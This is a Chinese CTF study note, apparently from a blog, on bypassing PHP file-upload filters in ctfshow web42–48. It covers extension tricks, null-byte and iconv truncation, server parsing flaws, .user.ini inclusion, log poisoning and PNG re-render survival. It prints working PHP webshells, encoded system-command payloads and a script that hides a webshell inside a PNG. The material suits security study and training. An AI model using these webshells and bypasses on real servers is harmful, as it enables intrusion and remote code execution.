【心得】PHP的文件上传个人笔记

news2024/12/28 4:31:38

目录

1 php的文件上传绕过 黑名单绕过

2 php文件上传的00截断

3 iconv字符转换异常后造成了字符截断

4 文件后缀是白名单的时候的绕过

  web服务器的解析漏洞绕过

5.高级文件上传绕过 

  1  .htaccess nginx.htaccess

2 服务端内容检测

3 配合伪协议来绕过

4.配合日志包含绕过

 5 上传html来xss 执行跨站脚本

6 getimagesize函数绕过

7 png二次渲染绕过

8 jpg二次渲染绕过

9 phar文件上传绕过


1 php的文件上传绕过 黑名单绕过

后缀替换为空时,我们通过提交  1.pphphp 替换php为空后,得到1.php   成功写入木马

php3 php5 phps phtml

php后缀替换为txt时,我们无法双写绕过,1.pphphp  1.ptxthp

例题1:web42

先随便上传一个马子

发现php后缀被替换为空

 

尝试双写绕过

访问/upload/yjh.php

成功写入,下略

2 php文件上传的00截断

  hello world

  hello空格world\n\00

  123.php  明显不让直接上传

  123.php%00.jpg 那么后台判断的时候,取最后一个点后面的字符作为后缀  jpg  看起来是合法的文件名称

  ./upload/123.php%00.jpg   ->  ./upload/123.php

  00字符截断需要的版本 

  php版本小于5.3.4  而最新的php版本已经达到8.1
  java版本小于7u40,而最新的java版本已经达到20以上


3 iconv字符转换异常后造成了字符截断

php在文件上传场景下的文件名字符集转换时,可能出现截断问题

utf-8字符集  默认的字符编码范围的是0x00-0x7f  

iconv转换的字符不在上面这个范围之内,低版本的php会报异常,报了异常以后,后续字符不再处理

就会造成截断问题

  123.php%df.jpg   123.php

  php版本低于5.4才可以使用  

4 文件后缀是白名单的时候的绕过

  白名单:只准上传这几个后缀   因为匹配的内容少  所以限制的范围就大
  黑名单:不准上传这几个后缀   因为匹配的内容多  所以限制的范围就小 仅限于自己制定的几个,除了这几个,其他都行

  web服务器的解析漏洞绕过

  apache 
        a 多后缀解析漏洞  当我们上传apache不认识的后缀时,apahce会继续往前找后缀,找到认识的就解析执行

          123.txt.ctfshow  123.txt  文本文档形式解析

          123.php.ctfshow  123.php  就交给中间件处理php脚本

        b ImageMagic组件白名单绕过

          目标主机安装了这个漏洞版本的ImageMagic插件 <=3.3.0
          在php.ini中启用了这个插件
          通过了php new Imageick 对象的方式来处理图片时
          且 php版本大于 5.4时  

          才可以使用,上传特定的svg图片,来实现组件的缺陷导致任意代码执行

  nginx  基于错误的nginx配置 和 php-fpm配置,当我们访问  123.txt/123.php  
      
         cgi.fix_pathinfo 默认开启  123.txt/123.php  当123.php不存在时,会找/前面的文件进行php解析,这时候,就成功解析了123.txt为php脚本了

  iis   Windows下使用  iis6.0版本中,如果解析的目录名字为 xxx.asp 那么里面的所有文件,都会按照asp来解析 123.txt  WindowsXP  Windows Server 2003 

例题2:web43

随便上传一个文件

后缀白名单txt 

抓个包看下响应头,发现是nginx

这里利用nginx解析漏洞

先上传一个yjh3.txt

内容<?php @eval($_POST['cmd']);?>

上传成功,访问/upload/yjh3.txt/suibian.php

成功访问

post传:cmd=system('tac /f*');

5.高级文件上传绕过 


  1  .htaccess nginx.htaccess

     php.ini     

     虚拟主机时代     一个物理服务器,里面可能存放几十上百个网站   每个网站,一个目录 

     A 网站  需要这样的php.ini配置
     B 网站  却需要那样的php.ini配置
     C 网站  又需要另外的php.ini配置 

     总的php.ini不动,A B C 3个网站分别在自己目录定义自己的配置,作用域也仅限于自己目录 

     自定义配置文件   .htaccess nginx.htaccess

     在nginx 下,默认使用.user.ini 配置文件来进行php的配置

     使用

     auto_append_file=123.txt  来让任意的php文件包含123.txt,执行里面的php代码
 

例题3:web44

抓包发现是nginx,考虑用.user.ini

.user.ini

GIF89a
auto_prepend_file=yjh3.txt 

yjh3.txt

<?php eval($_POST['cmd']);?>

最后在index.php中post:cmd=system('tac /f*');

(本质是文件上传配合文件包含实现rce的效果)

2 服务端内容检测

不局限检测文件名,还会检测文件的后缀 文件的内容 

<?php system eval $_POST

二分法确定出被检测的关键字,使用替代语法绕过

例题4:web45

在上一题基础上还加了个文件内容检测

随便上传一个txt文件,回显内容非法

二分法多试几次修改成<?=eval($_COOKIE[1]); 

因为cookie中如;的一些特殊字符不能出现

所以最终payload:

1=eval(base64_decode('c3lzdGVtKCd0YWMgL2YqJyk7'))?>

3 配合伪协议来绕过


例题5:web46

这题真是惊掉下巴了,还有这种姿势hhh

.user.ini内容

 抓包,传post

真乃神技也 ()

4.配合日志包含绕过

例题6:web47

同格局打开

直接UA写马

<?php system('tac /f*');?>

 5 上传html来xss 执行跨站脚本

这个之后展开来讲,先按下不表

6 getimagesize函数绕过

  getimagesize函数来检测是不是图片,而不采取其他措施的情况下,如果一旦绕过getimagesize函数,就可以实现任意文件上传

  XBM 格式图片 

  #define %s %d 这种形式,就认为时XBM图片的高或者宽

例题7:web48

这题用web47的payload也可以通杀(因为自己有加GIF89a的好习惯)

当然也可以这样写.user.ini

注意:如果是apache的.htaccess

则不能直接加GIF89a,否则不能解析,此时必须要#define来绕过

7 png二次渲染绕过

正常做法:move_uploaded_file 方式移动我们上传的临时文件到上传目录去

二次渲染做法:通过imagepng方法来,来动态依据我们上传的图片的二次生成一个png图片 里面的php代码就会被清洗掉

所以,我们需要使用特殊的方式,来构造我们的图片

贴一段生成脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

 生成图片,再提交,发现存在一个文件包含,那得了,直接rce

(浏览器返回的数据是图片形式的,所以要bp抓包看原始数据)

 拿到flag

8 jpg二次渲染绕过

  使用专用图来生成jpg木马,实现经过二次渲染后,我们的恶意代码,依然能够保留在图片中,通过文件包含,执行里面的php代码

9 phar文件上传绕过

 之前文章有总结过,不多说


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1227106.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023年【安全员-B证】考试内容及安全员-B证考试资料

题库来源&#xff1a;安全生产模拟考试一点通公众号小程序 安全员-B证考试内容参考答案及安全员-B证考试试题解析是安全生产模拟考试一点通题库老师及安全员-B证操作证已考过的学员汇总&#xff0c;相对有效帮助安全员-B证考试资料学员顺利通过考试。 1、【多选题】《中华人民…

FL Studio2024免费编曲音乐制作软件

用FL Studio编曲&#xff0c;让音乐成为你的翅膀&#xff0c;飞翔在无尽的创作海洋中吧&#xff01; FL Studio作为一款功能强大且备受赞誉的音乐制作软件&#xff0c;为你提供了一个独特的创作平台。通过FL Studio&#xff0c;你可以自由地创作、编曲&#xff0c;制作属于自己…

【算法萌新闯力扣】:旋转字符串

力扣热题&#xff1a;796.旋转字符串 开篇 今天下午刷了6道力扣算法题&#xff0c;选了一道有多种解法的题目与大家分享。 题目链接:796.旋转字符串 题目描述 代码思路 完全按照题目的要求&#xff0c;利用StringBuffer中的方法对字符串进行旋转&#xff0c;寻找相同的一项 …

Fibonacci 数列与黄金分割

mapp[1 for item in range(30)] for item in range(3,30):mapp[item]mapp[item-1]mapp[item-2]pass numint(input()) if num>19:print("0.61803399")pass else:anss float((mapp[num]*1.0) / (mapp[num 1]*1.0))print(format(anss,.8f))进行短程的打表就可以看出…

指南:关于帮助中心需要注意的一些细节

在现代商业环境中&#xff0c;帮助中心已经成为企业提供客户支持和解决问题的重要方式之一。然而&#xff0c;建立一个高效的帮助中心并不简单。除了选择合适的软件平台和工具之外&#xff0c;还需要注意一些细节&#xff0c;以确保能够真正帮助客户并提高客户满意度。 | 1.设计…

在Java代码中指定用JAXB的XmlElement注解的元素的顺序

例如&#xff0c;下面的类RegisterResponse 使用了XmlRootElement注解&#xff0c;同时也使用XmlType注解&#xff0c;并用XmlType注解的propOrder属性&#xff0c;指定了两个用XmlElement注解的元素出现的顺序&#xff0c;先出现flag&#xff0c;后出现enterpriseId&#xff0…

图像分类(七) 全面解读复现ShuffleNetV1-V2

ShuffleNetV1 前言 前面我们学了MobileNetV1-3&#xff0c;从这篇开始我们学习ShuffleNet系列。ShuffleNet是Face&#xff08;旷视&#xff09;在2017年发布的一个高效率可以运行在手机等移动设备的网络结构&#xff0c;论文发表在CVRP2018上。这个新的轻量级网络使用了两个新…

HDFS、MapReduce原理--学习笔记

1.Hadoop框架 1.1框架与Hadoop架构简介 &#xff08;1&#xff09;广义解释 从广义上来说&#xff0c;随着大数据开发技术的快速发展与逐步成熟&#xff0c;在行业里&#xff0c;Hadoop可以泛指为&#xff1a;Hadoop生态圈。 也就是说&#xff0c;Hadoop指的是大数据生态圈整…

使用Docker/K8S部署项目流程

一、制作镜像&#xff1a; 1、创建nginx配置文件default.conf server {listen 80;server_name localhost; # 修改为docker服务宿主机的iplocation / {root /usr/share/nginx/html;index index.html index.htm;try_files $uri $uri/ /index.html 404;}error_page …

【每日一题】689. 三个无重叠子数组的最大和-2023.11.19

题目&#xff1a; 689. 三个无重叠子数组的最大和 给你一个整数数组 nums 和一个整数 k &#xff0c;找出三个长度为 k 、互不重叠、且全部数字和&#xff08;3 * k 项&#xff09;最大的子数组&#xff0c;并返回这三个子数组。 以下标的数组形式返回结果&#xff0c;数组中…

04 后端增删改查【小白入门SpringBoot + Vue3】

项目笔记&#xff0c;教学视频来源于B站青戈 https://www.bilibili.com/video/BV1H14y1S7YV 保证前面的都功能都实现后&#xff0c;接着往下走。 查 分页 接下来&#xff0c;实现前端页面分页功能。 前端分页组件 打开elementplus官网&#xff0c;找到合适的分页组件&…

公网访问全能知识库工具AFFINE,Notion的免费开源替代

文章目录 公网访问全能知识库工具AFFINE&#xff0c;Notion的免费开源替代品前言1. 使用Docker安装AFFINE2. 安装cpolar内网穿透工具3. 配置AFFINE公网访问地址4. 实现公网远程访问AFFINE 公网访问全能知识库工具AFFINE&#xff0c;Notion的免费开源替代品 前言 AFFiNE 是一个…

照片+制作照片书神器,效果太棒了!

随着数码相机的普及&#xff0c;越来越多的人喜欢用照片记录生活点滴。而制作一本精美的照片书&#xff0c;不仅可以保存珍贵的回忆&#xff0c;还能让照片更加美观。今天&#xff0c;就为大家推荐一款制作照片书神器&#xff0c;让您的回忆更加完美&#xff01; 一、产品介绍 …

三栏布局,中间自适应

方法一&#xff1a;两边使用float 中间使用margin 方法二&#xff1a;两边使用absolute 中间使用margin 方法三&#xff1a;flex 布局 方法四&#xff1a;grid 布局 方法一&#xff1a;相关HTML代码【两边使用float 中间使用margin】 <div class"container"…

element-plus 表格-合并单元格

利用表格:span-method"" 方法实现合并单元格 合并前 合并后 重点代码generateIndexGroups &#xff0c;找到合并的单元格的index号 代码实现如下 <template><h2>实现表格的合并</h2><div><!-- :span-method"arraySpanMethod&quo…

录制第一个jmeter性能测试脚本2(http协议)

我们手工编写了一个测试计划&#xff0c;现在我们通过录制的方式来实现那个测试计划。也就是说‘’测试计划目标和上一节类似&#xff1a;让5个用户在2s内登录webtour&#xff0c;然后进入 页面进行查看。 目录 一.性能测试脚本录制的原理 二、性能测试脚本录制的实操&#…

ZC序列理论学习及仿真

文章目录 前言一、ZC 序列理论1、基本概念2、表达式3、ZC 序列一些定义①、自相关②、循环移位③、循环自相关④、循环互相关二、ZC 序列性质1、性质 1:恒包络,即等模2、性质 2:零循环自相关3、性质 3:固定循环互相关4、其他性质①、傅里叶变换后仍是 ZC 序列②、低峰均比③…

C语言基础篇4:变量、存储、库函数

1 局部变量和全局变量 在介绍局部变量和全局变量前&#xff0c;先了解一些关于作用域方面的内容。作用域的作用就是决定程序中的哪些语句是可用的&#xff0c;换句话说&#xff0c;就是程序中的可见性。作用域有局部作用域和全局作用域&#xff0c;那么局部变量就具有局部作用域…

【C++】:模板的使用

目录 1、泛型编程 2、函数模板 2.1、函数模板概念 2.2、函数模板格式 2.3、函数模板的原理 2.4、函数模板的实例化 2.6、模板参数的匹配原则 3、类模板 3.1、 类模板的定义格式 3.2、 类模板的实例化 4、非类型模板参数 5、模板的特化 5.1、函数模板特化 5.2、类模…

2.如何使用Python官方文档

文章目录 1.文档什么时候用2.Python 3.11有什么新的功能3.Python 3.11教程4.Python 标准库概述内置函数内置类型内置异常文本处理服务 1.文档什么时候用 一般是在接触到一门新的语言的时候&#xff0c;是要详细阅读的&#xff0c;因为很多在开发的时候踩的这些坑在文档里已经提…